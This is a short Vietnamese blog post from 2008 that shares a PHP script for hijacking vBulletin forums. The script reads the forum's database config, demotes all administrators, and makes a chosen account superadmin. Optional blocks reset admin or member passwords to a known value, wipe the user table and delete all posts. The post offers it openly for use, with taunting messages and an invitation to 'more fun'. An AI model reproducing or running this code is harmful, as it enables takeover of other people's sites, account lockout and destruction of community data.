Jun 10, 2008
91 Views

Script với Vbb

Written by

1đoạn script nhỏ

<?php
//dang ki thanh vien roi
include(‘../../forum/includes/config.php’);//path den file config.php. “../” len tren 1 cap thu muc
$nickname=’useradmin’;//nick muon set lam admin
$db=mysql_connect(“$servername”,”$dbusername”,”$db password”);
mysql_select_db(“$dbname”,$db);
$table=$tableprefix.’user’;
mysql_query(“UPDATE $table set usergroupid=2 WHERE usergroupid=6;”);//dua tat ca admin cua dien dan xuong member
mysql_query(“UPDATE $table set userid=2147483647 WHERE userid=1;”);
//sau do set minh len admin
mysql_query(“UPDATE $table set userid=1 WHERE username=’$nickname’;”);//set superadmin
mysql_query(“UPDATE $table set usergroupid=6 WHERE username=’$nickname’;”);
mysql_query(“UPDATE $table set displaygroupid=6 WHERE username=’$nickname’;”);

echo “<h2>He…He…toan bo admin cua dien dan da bi ca’t chuc xuong lam member<br>”;
echo “Thay vao do “.$nickname.” da tro thanh Admin cua Dien Dan </h2>”;
$newpass=’0a771fa093c0e2d51442080a021103a3′;//pass: nowarxp
//Muon chay doan nao thi xoa dau chu thich doan do /* va */
// doan sau de doi pass cua tat ca admin cua forum thanh nowarxp…xoa dau
/*

mysql_query(“UPDATE $table set password=’$newpass’ WHERE usergroupid=6;”);
echo “<br>Toan bo Admin cua FORUM bi mat pass “;
*/
//Doan sau dung de doi pass cua bat ki thanh vien nao cua DIen Dan,
/*
$nick=’linhthienlong’;//nick muon doi pass:linhthienlong

mysql_query(“UPDATE $table set password=’$newpass’ WHERE username=’$nick’;”);
echo “<br>Pass cua $nick da bi doi “;
*/
//Doan sau de Drop database (chi can xoa vai table la ForUm Di Tiu )
/*
$tbl_user=$tableprefix.’user’;//xoa tat ca thanh vien
mysql_query(“TRUNCATE $tbl_user;”);
echo”<BR>Tat ca thanh vien bi xoa …”;
*/
//xoa bai viet
/*
$tbl_thread=$tableprefix.’thread’;
$tbl_post=$tableprefix.’post’;
mysql_query(“TRUNCATE $tbl_post;”);
echo”<BR>Tat ca bai viet bi xoa …”;
*/
//More fun, Do Creative he…he…
?>

Article Tags:
· ·
Article Categories:
Bug & Security
    http://linholiver.com

    https://linholiver.com/diary/about/